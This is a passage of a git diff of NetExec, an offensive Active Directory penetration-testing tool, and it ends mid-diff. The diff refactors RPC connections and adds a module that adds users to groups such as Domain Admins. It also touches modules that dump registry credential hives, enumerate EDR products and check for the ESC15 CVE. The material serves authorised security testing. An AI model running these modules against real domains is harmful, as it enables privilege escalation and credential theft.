diff --git a/.github/workflows/pr-template-check.yml b/.github/workflows/pr-template-check.yml index 3bff16fb..4e20ad7d 100644 --- a/.github/workflows/pr-template-check.yml +++ b/.github/workflows/pr-template-check.yml @@ -1,7 +1,7 @@ name: PR Template Check on: - pull_request: + pull_request_target: types: [opened, edited] permissions: diff --git a/AI_POLICY.md b/AI_POLICY.md index dd9997aa..5018df8e 100644 --- a/AI_POLICY.md +++ b/AI_POLICY.md @@ -21,12 +21,13 @@ The NetExec project has strict rules for AI usage: code for platforms or environments you don't have access to manually test on. -- **Issues and discussions can use AI assistance but must have a full - human-in-the-loop.** This means that any content generated with AI - must have been reviewed _and edited_ by a human before submission. - AI is very good at being overly verbose and including noise that - distracts from the main point. Humans must do their research and - trim this down. +- **Issues and pull requests should be written by humans.** + Communication should remain human, not AI, and should be clear and concise. + AI is very good at being overly verbose and including noise that distracts + from the main point. While it is fine to cite AI or include AI-generated + content, the main content of your issue or pull request should be written + by a human. Issues or pull requests that look like they are just the + result of an AI prompt will likely be rejected and closed. - **No AI-generated media is allowed (art, images, videos, audio, etc.).** Text and code are the only acceptable AI-generated content, per the diff --git a/README.md b/README.md index 9f307e6d..2b754c74 100755 --- a/README.md +++ b/README.md @@ -65,3 +65,4 @@ Awesome code contributors of NetExec: [![](https://github.com/XiaoliChan.png?size=50)](https://github.com/XiaoliChan) [![](https://github.com/termanix.png?size=50)](https://github.com/termanix) [![](https://github.com/Dfte.png?size=50)](https://github.com/Dfte) +[![](https://github.com/azoxlpf.png?size=50)](https://github.com/azoxlpf) diff --git a/netexec.spec b/netexec.spec index 7a59877c..8bec3cdf 100644 --- a/netexec.spec +++ b/netexec.spec @@ -19,6 +19,7 @@ a = Analysis( 'aardwolf.commons.iosettings', 'aardwolf.commons.target', 'aardwolf.protocol.x224.constants', + 'certihound', 'certipy.commands.find', 'certipy.lib.formatting', 'certipy.lib.target', diff --git a/nxc/connection.py b/nxc/connection.py index 7c47a5aa..f20d05dd 100755 --- a/nxc/connection.py +++ b/nxc/connection.py @@ -139,6 +139,7 @@ class connection: self.conn = None self.output_file_template = None self.output_filename = None + self.protocol = args.protocol # Authentication info self.password = "" @@ -254,13 +255,12 @@ class connection: self.print_host_info() if self.login() or (self.username == "" and self.password == ""): - if hasattr(self.args, "module") and self.args.module: + self.logger.debug("Calling command arguments") + self.call_cmd_args() + if self.args.module: self.load_modules() self.logger.debug("Calling modules") self.call_modules() - else: - self.logger.debug("Calling command arguments") - self.call_cmd_args() self.disconnect() def call_cmd_args(self): diff --git a/nxc/helpers/misc.py b/nxc/helpers/misc.py index 7f2d7a5f..dd9dbe87 100755 --- a/nxc/helpers/misc.py +++ b/nxc/helpers/misc.py @@ -226,6 +226,18 @@ def convert(low, high, lockout=False): return time +def parse_argument(argument: list) -> list: + """Parse input from an argparse argument, which can be either a value or a file containing values.""" + parsed_items = [] + for item in argument: + if os.path.isfile(item): + with open(item) as f: + parsed_items.extend(line.strip() for line in f if line.strip()) + else: + parsed_items.append(item.strip()) + return parsed_items + + def display_modules(args, modules): for category, color in {CATEGORY.ENUMERATION: "green", CATEGORY.CREDENTIAL_DUMPING: "cyan", CATEGORY.PRIVILEGE_ESCALATION: "magenta"}.items(): # Add category filter for module listing diff --git a/nxc/helpers/rpc.py b/nxc/helpers/rpc.py new file mode 100644 index 00000000..04a938a9 --- /dev/null +++ b/nxc/helpers/rpc.py @@ -0,0 +1,101 @@ +import contextlib + +from impacket.dcerpc.v5 import transport +from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE + + +class NXCRPCConnection: + """ + DCE/RPC over SMB/TCP using the NXC connection's creds; reuse SMB when already + logged in so Kerberos delegation (e.g. S4U2Proxy ST) applies to pipe RPC too. + """ + def __init__(self, connection, force_tcp=False): + self.connection = connection + self.force_tcp = force_tcp + self.dce = None + self.rpc_transport = None + + def connect(self, named_pipe, interface_uuid, target_ip=None, auth_level=None, string_binding=None, set_remote_host=None, anonymous_rpc=False): + if string_binding is not None: + self.rpc_transport = self.create_from_string_binding(string_binding, target_ip, set_remote_host, anonymous_rpc) + elif self.force_tcp: + self.rpc_transport = self.create_tcp_transport(target_ip, anonymous_rpc) + else: + self.rpc_transport = self.create_smb_transport(named_pipe, target_ip) + + self.dce = self.rpc_transport.get_dce_rpc() + + if self.connection.kerberos and not anonymous_rpc: + self.dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) + + self.dce.connect() + + if auth_level is not None: + self.dce.set_auth_level(auth_level) + + self.dce.bind(interface_uuid) + return self.dce + + def disconnect(self): + if self.dce: + with contextlib.suppress(Exception): + self.dce.disconnect() + self.dce = None + + @property + def transport(self): + return self.rpc_transport + + def get_smb_connection(self): + if self.rpc_transport and hasattr(self.rpc_transport, "get_smb_connection"): + return self.rpc_transport.get_smb_connection() + return None + + def __enter__(self): + return self + + def __exit__(self, exc_type, exc_val, exc_tb): + self.disconnect() + return False + + def setup_credentials(self, rpc_transport, anonymous_rpc=False): + conn = self.connection + if anonymous_rpc: + rpc_transport.set_credentials("", "", "", "", "", "") + rpc_transport.set_kerberos(False, None) + else: + rpc_transport.set_credentials(conn.username, conn.password if conn.password else "", conn.domain, conn.lmhash, conn.nthash, conn.aesKey) + if conn.kerberos: + rpc_transport.set_kerberos(conn.kerberos, conn.kdcHost) + + def create_smb_transport(self, named_pipe, target_ip=None): + conn = self.connection + + # Create a new SMB conn if we don't have one already or + # if we are targetting a different IP (e.g. the DC instead of the original host) and therefore need to recreate the conn + if conn.conn is not None and (target_ip is None or conn.host == target_ip): + return transport.SMBTransport(conn.conn.getRemoteHost(), filename=named_pipe, smb_connection=conn.conn) + rpc_transport = transport.SMBTransport(conn.remoteName, conn.port, named_pipe, conn.username, conn.password if conn.password else "", conn.domain, conn.lmhash, conn.nthash, conn.aesKey, doKerberos=conn.kerberos, kdcHost=conn.kdcHost) + if target_ip or conn.host: + rpc_transport.setRemoteHost(target_ip or conn.host) + return rpc_transport + + def create_tcp_transport(self, target_ip=None, anonymous_rpc=False): + conn = self.connection + target = target_ip or conn.remoteName + + rpc_transport = transport.DCERPCTransportFactory(rf"ncacn_ip_tcp:{target}") + rpc_transport.setRemoteHost(target) + self.setup_credentials(rpc_transport, anonymous_rpc) + return rpc_transport + + def create_from_string_binding(self, string_binding, target_ip=None, set_remote_host=None, anonymous_rpc=False): + rpc_transport = transport.DCERPCTransportFactory(string_binding) + + if target_ip is not None: + rpc_transport.setRemoteHost(target_ip) + elif set_remote_host is not None: + rpc_transport.setRemoteHost(set_remote_host) + + self.setup_credentials(rpc_transport, anonymous_rpc) + return rpc_transport diff --git a/nxc/modules/add-computer.py b/nxc/modules/add-computer.py index 53a77ede..0e7055f3 100644 --- a/nxc/modules/add-computer.py +++ b/nxc/modules/add-computer.py @@ -1,8 +1,9 @@ import sys -from impacket.dcerpc.v5 import samr, transport +from impacket.dcerpc.v5 import samr from impacket.ldap.ldap import LDAPSessionError, MODIFY_REPLACE from nxc.helpers.misc import CATEGORY +from nxc.helpers.rpc import NXCRPCConnection class NXCModule: @@ -16,14 +17,14 @@ class NXCModule: """ name = "add-computer" - description = "Adds or deletes a domain computer via SAMR (SMB) or LDAPS" + description = "Adds or deletes a domain computer via SAMR (SMB) or LDAP" supported_protocols = ["smb", "ldap"] category = CATEGORY.PRIVILEGE_ESCALATION def options(self, context, module_options): """ add-computer: Adds, deletes, or changes the password of a domain computer account. - Uses SAMR when invoked with nxc smb, LDAPS when invoked with nxc ldap. + Uses SAMR when invoked with nxc smb. NAME Computer name (required). Trailing '$' is added automatically. PASSWORD Computer password (required for add/changepw). @@ -80,19 +81,14 @@ class NXCModule: self.context.db.add_credential("plaintext", self.connection.domain, self.computer_name, self.computer_password) def _do_samr(self): - conn = self.connection - rpc_transport = transport.SMBTransport(conn.conn.getRemoteHost(), 445, r"\samr", smb_connection=conn.conn) - try: - dce = rpc_transport.get_dce_rpc() - dce.connect() - dce.bind(samr.MSRPC_UUID_SAMR) + dce = NXCRPCConnection(self.connection).connect(r"\samr", samr.MSRPC_UUID_SAMR) except Exception as e: self.context.log.fail(f"Failed to connect to SAMR: {e}") return try: - self._samr_execute(dce, conn.conn.getRemoteName()) + self._samr_execute(dce, self.connection.conn.getRemoteName()) finally: dce.disconnect() @@ -191,7 +187,7 @@ class NXCModule: request["Name"] = self.computer_name request["AccountType"] = samr.USER_WORKSTATION_TRUST_ACCOUNT request["DesiredAccess"] = samr.USER_FORCE_PASSWORD_CHANGE - return dce.request(request) + return dce.request(request)["UserHandle"] except samr.DCERPCSessionError as e: if "STATUS_USER_EXISTS" in str(e): self.context.log.fail(f"Computer '{self.computer_name}' already exists") diff --git a/nxc/modules/backup_operator.py b/nxc/modules/backup_operator.py index c6336ed0..5c27b9e1 100644 --- a/nxc/modules/backup_operator.py +++ b/nxc/modules/backup_operator.py @@ -3,9 +3,9 @@ from time import sleep from impacket.examples.secretsdump import SAMHashes, LSASecrets, LocalOperations from impacket.smbconnection import SessionError -from impacket.dcerpc.v5 import transport, rrp -from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE +from impacket.dcerpc.v5 import rrp from nxc.helpers.misc import CATEGORY, gen_random_string +from nxc.helpers.rpc import NXCRPCConnection class NXCModule: @@ -31,17 +31,9 @@ class NXCModule: # enable remote registry context.log.display("Triggering RemoteRegistry to start through named pipe...") connection.trigger_winreg() - rpc = transport.DCERPCTransportFactory(r"ncacn_np:445[\pipe\winreg]") - rpc.set_smb_connection(connection.conn) - if connection.kerberos: - rpc.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost) - dce = rpc.get_dce_rpc() - if connection.kerberos: - dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) + dce = NXCRPCConnection(connection).connect(r"\winreg", rrp.MSRPC_UUID_RRP) try: - dce.connect() - dce.bind(rrp.MSRPC_UUID_RRP) for hive in ["HKLM\\SAM", "HKLM\\SYSTEM", "HKLM\\SECURITY"]: hRootKey, subKey = self._strip_root_key(dce, hive) diff --git a/nxc/modules/change-password.py b/nxc/modules/change-password.py index 20158e00..4dbe74b3 100644 --- a/nxc/modules/change-password.py +++ b/nxc/modules/change-password.py @@ -1,7 +1,8 @@ import sys -from impacket.dcerpc.v5 import samr, epm, transport +from impacket.dcerpc.v5 import samr, epm from impacket.dcerpc.v5.rpcrt import DCERPCException from nxc.helpers.misc import CATEGORY +from nxc.helpers.rpc import NXCRPCConnection class NXCModule: @@ -45,31 +46,21 @@ class NXCModule: def authenticate(self, context, connection, protocol, anonymous=False): # Authenticate to the target using DCE/RPC with either user credentials or a null session. Establishes a connection and binds to the SAMR service. try: - # Map to the SAMR endpoint on the target - string_binding = epm.hept_map(connection.host, samr.MSRPC_UUID_SAMR, protocol=protocol) - rpctransport = transport.DCERPCTransportFactory(string_binding) - rpctransport.setRemoteHost(connection.host) - if anonymous: - rpctransport.set_credentials("", "", "", "", "", "") - rpctransport.set_kerberos(False, None) + string_binding = epm.hept_map(connection.host, samr.MSRPC_UUID_SAMR, protocol=protocol) + dce = NXCRPCConnection(connection).connect( + None, + samr.MSRPC_UUID_SAMR, + string_binding=string_binding, + set_remote_host=connection.host, + anonymous_rpc=True, + ) context.log.info("Connecting with null session credentials.") else: - rpctransport.set_credentials( - connection.username, - connection.password, - connection.domain, - connection.lmhash, - connection.nthash, - aesKey=connection.aesKey, - ) + dce = NXCRPCConnection(connection).connect(r"\samr", samr.MSRPC_UUID_SAMR) context.log.info(f"Connecting as {connection.domain}\\{connection.username}") - # Connect to the DCE/RPC endpoint and bind to the SAMR service - dce = rpctransport.get_dce_rpc() - dce.connect() context.log.info("[+] Successfully connected to DCE/RPC") - dce.bind(samr.MSRPC_UUID_SAMR) context.log.info("[+] Successfully bound to SAMR") return dce except DCERPCException as e: diff --git a/nxc/modules/enum_av.py b/nxc/modules/enum_av.py index 07fd5e4b..21343e2d 100644 --- a/nxc/modules/enum_av.py +++ b/nxc/modules/enum_av.py @@ -3,11 +3,11 @@ # Module by @mpgn_x64 # https://twitter.com/mpgn_x64 -from impacket.dcerpc.v5 import lsat, lsad, transport +from impacket.dcerpc.v5 import lsat, lsad from impacket.dcerpc.v5.dtypes import NULL, MAXIMUM_ALLOWED, RPC_UNICODE_STRING -from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE import pathlib from nxc.helpers.misc import CATEGORY +from nxc.helpers.rpc import NXCRPCConnection class NXCModule: @@ -45,20 +45,8 @@ class NXCModule: results = {} try: - lsa = LsaLookupNames( - domain=connection.domain, - username=connection.username, - password=connection.password, - remote_name=target, - do_kerberos=connection.kerberos, - remoteHost=connection.host, - kdcHost=connection.kdcHost, - lmhash=connection.lmhash, - nthash=connection.nthash, - aesKey=connection.aesKey - ) - - dce, _ = lsa.connect() + lsa = LsaLookupNames(connection=connection) + dce = lsa.connect() policyHandle = lsa.open_policy(dce) for product in conf["products"]: for service in product["services"]: @@ -103,82 +91,11 @@ class NXCModule: class LsaLookupNames: - timeout = None - authn_level = None - protocol = None - transfer_syntax = None - machine_account = False + def __init__(self, connection=None): + self.connection = connection - iface_uuid = lsat.MSRPC_UUID_LSAT - authn = True - - def __init__( - self, - domain="", - username="", - password="", - remote_name="", - do_kerberos=False, - remoteHost="", - kdcHost="", - lmhash="", - nthash="", - aesKey="", - ): - self.domain = domain - self.username = username - self.password = password - self.remoteName = remote_name - self.string_binding = rf"ncacn_np:{remote_name}[\PIPE\lsarpc]" - self.doKerberos = do_kerberos - self.lmhash = lmhash - self.nthash = nthash - self.aesKey = aesKey - self.kdcHost = kdcHost - self.remoteHost = remoteHost - - def connect(self, string_binding=None, iface_uuid=None): - """Obtains a RPC Transport and a DCE interface according to the bindings and - transfer syntax specified. - :return: tuple of DCE/RPC and RPC Transport objects - :rtype: (DCERPC_v5, DCERPCTransport) - """ - string_binding = string_binding or self.string_binding - if not string_binding: - raise NotImplementedError("String binding must be defined") - - rpc_transport = transport.DCERPCTransportFactory(string_binding) - rpc_transport.setRemoteHost(self.remoteHost) - - # Set timeout if defined - if self.timeout: - rpc_transport.set_connect_timeout(self.timeout) - - # Authenticate if specified - if self.authn and hasattr(rpc_transport, "set_credentials"): - # This method exists only for selected protocol sequences. - rpc_transport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey) - - if self.doKerberos: - rpc_transport.set_kerberos(self.doKerberos, kdcHost=self.kdcHost) - - # Gets the DCE RPC object - dce = rpc_transport.get_dce_rpc() - - if self.doKerberos: - dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) - - # Connect - dce.connect() - - # Bind if specified - iface_uuid = iface_uuid or self.iface_uuid - if iface_uuid and self.transfer_syntax: - dce.bind(iface_uuid, transfer_syntax=self.transfer_syntax) - elif iface_uuid: - dce.bind(iface_uuid) - - return dce, rpc_transport + def connect(self): + return NXCRPCConnection(self.connection).connect(r"\lsarpc", lsat.MSRPC_UUID_LSAT) def open_policy(self, dce): request = lsad.LsarOpenPolicy2() @@ -287,6 +204,13 @@ conf = { {"name": "CybereasonAPServerProxyIpc_*", "processes": ["minionhost.exe"]} ] }, + { + "name": "Cynet", + "services": [ + {"name": "CynetLauncher", "description": "CynetLauncher"} + ], + "pipes": [] + }, { "name": "Elastic EDR", "services": [ @@ -500,6 +424,13 @@ conf = { {"name": "OIPC_NTRTSCAN_PIPE_*", "processes": ["Ntrtscan.exe"]} ] }, + { + "name": "Wazuh", + "services": [ + {"name": "WazuhSvc", "description": "Wazuh Windows Agent"} + ], + "pipes": [] + }, { "name": "Windows Defender", "services": [ diff --git a/nxc/modules/enum_ca.py b/nxc/modules/enum_ca.py index 501c6ac5..34f41347 100644 --- a/nxc/modules/enum_ca.py +++ b/nxc/modules/enum_ca.py @@ -7,6 +7,8 @@ from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE from impacket import uuid import requests from nxc.helpers.misc import CATEGORY +from nxc.helpers.rpc import NXCRPCConnection +import contextlib class NXCModule: @@ -68,8 +70,18 @@ class NXCModule: else: rpctransport.setRemoteHost(connection.host) + dce = None try: - entries = self.__fetchList(connection.kerberos, rpctransport) + if int(self.__port) == 135: + rpc = NXCRPCConnection(connection, force_tcp=True) + rpc.rpc_transport = rpc.create_tcp_transport(target_ip=connection.host) + dce = rpc.rpc_transport.get_dce_rpc() + if connection.kerberos: + dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) + dce.connect() + entries = list(epm.hept_lookup(None, dce=dce)) + else: + entries = self.__fetchList(connection.kerberos, rpctransport) except Exception as e: error_text = f"Protocol failed: {e}" context.log.fail(error_text) @@ -81,6 +93,9 @@ class NXCModule: context.log.fail("This usually means the target does not allow " "to connect to its epmapper using RpcProxy.") return + finally: + with contextlib.suppress(Exception): + dce.disconnect() for entry in entries: tmpUUID = str(entry["tower"]["Floors"][0]) diff --git a/nxc/modules/enum_cve.py b/nxc/modules/enum_cve.py index 9c705654..7346f8e1 100644 --- a/nxc/modules/enum_cve.py +++ b/nxc/modules/enum_cve.py @@ -1,7 +1,8 @@ -from impacket.dcerpc.v5 import transport, rrp -from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, DCERPCException +from impacket.dcerpc.v5 import rrp +from impacket.dcerpc.v5.rpcrt import DCERPCException from impacket.smbconnection import SessionError from nxc.helpers.misc import CATEGORY +from nxc.helpers.rpc import NXCRPCConnection from impacket.nmb import NetBIOSError @@ -32,6 +33,7 @@ class NXCModule: - CVE-2025-58726 (Ghost SPN) - CVE-2025-54918 (NTLM MIC Bypass) - CVE-2025-53779 (BadSuccessor) + - CVE-2024-49019 (EKUwu / ESC15) CVE Filter for specific CVE number (default: All) EXPLOITATION Also provide sources for exploitation details (default: False) @@ -54,19 +56,9 @@ class NXCModule: def on_login(self, context, connection): connection.trigger_winreg() - # Connect to RemoteRegistry to read UBR from registry - rpc = transport.DCERPCTransportFactory(r"ncacn_np:445[\pipe\winreg]") - rpc.set_smb_connection(connection.conn) - if connection.kerberos: - rpc.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost) - dce = rpc.get_dce_rpc() - if connection.kerberos: - dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) - - # Query the UBR try: - dce.connect() - dce.bind(rrp.MSRPC_UUID_RRP) + # Connect to RemoteRegistry to read UBR from registry + dce = NXCRPCConnection(connection).connect(r"\winreg", rrp.MSRPC_UUID_RRP) # Reading UBR from registry hRootKey = rrp.hOpenLocalMachine(dce)["phKey"] hKey = rrp.hBaseRegOpenKey(dce, hRootKey, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion")["phkResult"] @@ -112,10 +104,6 @@ class NXCModule: "CVE-2025-33073": { "alias": "NTLM reflection", "patches": { - (6, 0, 6003): 23351, # Windows Server 2008 SP2 - (6, 1, 7601): 27769, # Windows Server 2008 R2 SP1 - (6, 2, 9200): 25522, # Windows Server 2012 - (6, 3, 9600): 22620, # Windows Server 2012 R2 (10, 0, 10240): 21034, # Windows 10 1507 (10, 0, 14393): 8148, # Windows Server 2016 / Win10 1607 (10, 0, 17763): 7434, # Windows Server 2019 / Win10 1809 @@ -183,5 +171,22 @@ class NXCModule: }, "message": "Escalation to Domain Admin possible via dMSA Kerberos abuse", "exploitation": "https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory", - } + }, + # https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49019 + "CVE-2024-49019": { + "alias": "ESC15 / EKUwu", + "patches": { + (6, 0, 6003): 22966, # Windows Server 2008 SP2 + (6, 1, 7601): 27415, # Windows Server 2008 R2 SP1 + (6, 2, 9200): 25165, # Windows Server 2012 + (6, 3, 9600): 22267, # Windows Server 2012 R2 + (10, 0, 14393): 7515, # Windows Server 2016 + (10, 0, 17763): 6532, # Windows Server 2019 / Win10 1809 + (10, 0, 20348): 2849, # Windows Server 2022 + (10, 0, 25398): 1251, # Windows Server 2022 23H2 + (10, 0, 26100): 2314, # Windows Server 2025 / Win11 24H2 + }, + "message": "If host is an AD CS / CA server, it may be vulnerable to ESC15", + "exploitation": "https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc", + }, } diff --git a/nxc/modules/eventlog_creds.py b/nxc/modules/eventlog_creds.py index 063aee90..63a07855 100644 --- a/nxc/modules/eventlog_creds.py +++ b/nxc/modules/eventlog_creds.py @@ -1,9 +1,10 @@ import re -from impacket.dcerpc.v5 import transport, even6 -from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY +from impacket.dcerpc.v5 import even6 +from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY from impacket.dcerpc.v5.epm import hept_map from nxc.helpers.even6_parser import ResultSet from nxc.helpers.misc import CATEGORY +from nxc.helpers.rpc import NXCRPCConnection class NXCModule: @@ -110,18 +111,7 @@ class NXCModule: else: msevenclass = MSEven6Trigger(context) target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain - msevenclass.connect( - username=connection.username, - password=connection.password, - domain=connection.domain, - lmhash=connection.lmhash, - nthash=connection.nthash, - target=target, - doKerberos=connection.kerberos, - dcHost=connection.kdcHost, - aesKey=connection.aesKey, - pipe="eventlog" - ) + msevenclass.connect(connection, target) for record in msevenclass.query("\x00", '\x00', self.limit): if record is None: continue @@ -142,37 +132,21 @@ class MSEven6Trigger: self.context = context self.dce = None - def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe): - rpctransport = transport.DCERPCTransportFactory(hept_map(target, even6.MSRPC_UUID_EVEN6, protocol="ncacn_ip_tcp")) - if hasattr(rpctransport, "set_credentials"): - rpctransport.set_credentials( - username=username, - password=password, - domain=domain, - lmhash=lmhash, - nthash=nthash, - aesKey=aesKey, - ) - if doKerberos: - rpctransport.set_kerberos(doKerberos, kdcHost=dcHost) - rpctransport.setRemoteHost(target) - self.dce = rpctransport.get_dce_rpc() - if doKerberos: - self.dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) - self.dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) + def connect(self, connection, target): + binding = hept_map(target, even6.MSRPC_UUID_EVEN6, protocol="ncacn_ip_tcp") self.context.log.debug(f"Connecting to {target}...") try: - self.dce.connect() - except Exception as e: - self.context.log.debug(f"Something went wrong, check error status => {e!s}") - return - try: - self.dce.bind(even6.MSRPC_UUID_EVEN6) + self.dce = NXCRPCConnection(connection).connect( + None, + even6.MSRPC_UUID_EVEN6, + target_ip=target, + string_binding=binding, + auth_level=RPC_C_AUTHN_LEVEL_PKT_PRIVACY, + ) self.context.log.debug("[+] Successfully bound!") except Exception as e: self.context.log.debug(f"Something went wrong, check error status => {e!s}") return - self.context.log.debug("[+] Successfully bound!") def query(self, path, query, limit): req = even6.EvtRpcRegisterLogQuery() diff --git a/nxc/modules/ioxidresolver.py b/nxc/modules/ioxidresolver.py index daf27ea6..43a61735 100644 --- a/nxc/modules/ioxidresolver.py +++ b/nxc/modules/ioxidresolver.py @@ -4,10 +4,10 @@ # updated by @NeffIsBack from ipaddress import ip_address -from impacket.dcerpc.v5 import transport from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_NONE, DCERPCException -from impacket.dcerpc.v5.dcomrt import IObjectExporter +from impacket.dcerpc.v5.dcomrt import IObjectExporter, IID_IObjectExporter from nxc.helpers.misc import CATEGORY +from nxc.helpers.rpc import NXCRPCConnection class NXCModule: @@ -22,12 +22,13 @@ class NXCModule: def on_login(self, context, connection): try: - rpctransport = transport.DCERPCTransportFactory(f"ncacn_ip_tcp:{connection.host}") - rpctransport.setRemoteHost(connection.host) - - portmap = rpctransport.get_dce_rpc() - portmap.set_auth_level(RPC_C_AUTHN_LEVEL_NONE) - portmap.connect() + portmap = NXCRPCConnection(connection, force_tcp=True).connect( + None, + IID_IObjectExporter, + target_ip=connection.host, + auth_level=RPC_C_AUTHN_LEVEL_NONE, + anonymous_rpc=True, + ) objExporter = IObjectExporter(portmap) bindings = objExporter.ServerAlive2() diff --git a/nxc/modules/modify-group.py b/nxc/modules/modify-group.py new file mode 100644 index 00000000..447d758e --- /dev/null +++ b/nxc/modules/modify-group.py @@ -0,0 +1,168 @@ +import contextlib +import sys +from impacket.ldap.ldap import MODIFY_ADD, MODIFY_DELETE +from impacket.dcerpc.v5 import samr +from nxc.helpers.rpc import NXCRPCConnection +from nxc.parsers.ldap_results import parse_result_attributes +from nxc.helpers.misc import CATEGORY + + +class NXCModule: + """ + Module for adding/removing users to/from groups + Module by @termanix + """ + + name = "modify-group" + description = "Modify the group membership of users and computers" + supported_protocols = ["smb", "ldap"] + category = CATEGORY.PRIVILEGE_ESCALATION + + def options(self, context, module_options): + """ + Required (at least one of): + GROUP Name of the group to add/remove the user to/from + USER Username of the account to modify + + Optional: + REMOVE Set to 'True' to remove the user from the specified group instead of adding (default: False) + + Examples + -------- + Adding a user to a group: + netexec smb -u adminuser -p password -M modify-group -o USER='targetuser' GROUP='Domain Admins' + netexec ldap -u adminuser -p password -M modify-group -o USER='targetuser' GROUP='Enterprise Admins' + + Removing a user from a group: + netexec smb -u adminuser -p password -M modify-group -o USER='targetuser' GROUP='Domain Admins' REMOVE=True + netexec ldap -u adminuser -p password -M modify-group -o USER='targetuser' GROUP='Enterprise Admins' REMOVE=True + + SMB/SAMR KNOWN LIMITATIONS: + - SAMR only supports modification of Global security groups. + Domain Local and Universal groups require the LDAP protocol. + - Cross-domain groups (e.g. Enterprise Admins) cannot be modified via SAMR. + Use LDAP instead. + + """ + self.group = module_options.get("GROUP") + self.target_user = module_options.get("USER") + self.remove = module_options.get("REMOVE", "False").lower() == "true" + + if not (self.target_user and self.group): + context.log.fail("USER and GROUP parameters are required!") + sys.exit(1) + + def on_login(self, context, connection): + self.context = context + self.connection = connection + + if context.protocol == "smb": + self._modify_group_smb() + elif context.protocol == "ldap" and self.group: + self._modify_group_ldap() + + def _modify_group_smb(self): + """Modify group membership using SMB/SAMR protocol""" + dce = NXCRPCConnection(self.connection).connect(r"\samr", samr.MSRPC_UUID_SAMR) + if not dce: + return + + # Get domain handle + try: + server_handle = samr.hSamrConnect(dce, self.connection.host + "\x00")["ServerHandle"] + domain_sid = samr.hSamrLookupDomainInSamServer(dce, server_handle, self.connection.domain)["DomainId"] + domain_handle = samr.hSamrOpenDomain(dce, server_handle, domainId=domain_sid)["DomainHandle"] + except Exception as e: + self.context.log.fail(f"Failed to connect to SAMR service: {e}") + return + + # Find the user RID + try: + user_rid = samr.hSamrLookupNamesInDomain(dce, domain_handle, (self.target_user,))["RelativeIds"]["Element"][0] + except Exception as e: + if "STATUS_NONE_MAPPED" in str(e): + self.context.log.fail(f"Target user not found: {self.target_user}") + else: + self.context.log.fail(f"Failed to find user RID: {e}") + return + + # Find the group RID and open the group + try: + group_rid = samr.hSamrLookupNamesInDomain(dce, domain_handle, (self.group,))["RelativeIds"]["Element"][0] + group_handle = samr.hSamrOpenGroup(dce, domain_handle, groupId=group_rid)["GroupHandle"] + except Exception as e: + if "STATUS_NONE_MAPPED" in str(e): + self.context.log.fail(f"Target group not found: {self.group}") + else: + self.context.log.fail(f"Failed to find group: {e}") + return + + # Modify group membership + if self.remove: + try: + samr.hSamrRemoveMemberFromGroup(dce, group_handle, user_rid) + self.context.log.success(f"Successfully removed {self.target_user} from group {self.group}") + except Exception as e: + if "STATUS_MEMBER_NOT_IN_GROUP" in str(e): + self.context.log.fail(f"User {self.target_user} is not a member of group {self.group}") + else: + self.context.log.fail(f"Failed to remove user from group via SMB: {e}") + else: + try: + samr.hSamrAddMemberToGroup(dce, group_handle, user_rid, 0x7) + self.context.log.success(f"Successfully added {self.target_user} to group {self.group}") + except Exception as e: + if "STATUS_MEMBER_IN_GROUP" in str(e): + self.context.log.fail(f"User {self.target_user} is already a member of group {self.group}") + else: + self.context.log.fail(f"Failed to add user to group via SMB: {e}") + + # Disconnect from DCE/RPC + with contextlib.suppress(Exception): + dce.disconnect() + + def _modify_group_ldap(self): + """Modify group membership using LDAP protocol""" + # Get the DN of the target user + resp = self._find_object_dn(self.target_user) + if not resp: + self.context.log.fail(f"Target user not found: {self.target_user}") + return + else: + target_user_dn = resp[0]["distinguishedName"] + + # Get the DN of the target group + resp = self._find_object_dn(self.group) + if not resp: + self.context.log.fail(f"Target group not found: {self.group}") + return + else: + group_dn = resp[0]["distinguishedName"] + + # Modify group membership + if self.remove: + try: + self.connection.ldap_connection.modify(group_dn, {"member": [(MODIFY_DELETE, [target_user_dn])]}) + self.context.log.success(f"Successfully removed {self.target_user} from group {self.group}") + except Exception as e: + if "unwillingToPerform" in str(e): + self.context.log.fail(f"User {self.target_user} is not a member of group {self.group}") + else: + self.context.log.fail(f"Failed to remove user from group via LDAP: {e}") + else: + try: + self.connection.ldap_connection.modify(group_dn, {"member": [(MODIFY_ADD, [target_user_dn])]}) + self.context.log.success(f"Successfully added {self.target_user} to group {self.group}") + except Exception as e: + if "entryAlreadyExists" in str(e): + self.context.log.fail(f"User {self.target_user} is already a member of group {self.group}") + else: + self.context.log.fail(f"Failed to add user to group via LDAP: {e}") + + def _find_object_dn(self, value): + """Find the distinguished name (DN) of an object by sAMAccountName""" + resp = self.connection.ldap_connection.search( + searchFilter=f"(sAMAccountName={value})", + attributes=["distinguishedName"] + ) + return parse_result_attributes(resp) diff --git a/nxc/modules/ntlm_reflection.py b/nxc/modules/ntlm_reflection.py index a80f2229..21dacee9 100644 --- a/nxc/modules/ntlm_reflection.py +++ b/nxc/modules/ntlm_reflection.py @@ -10,7 +10,7 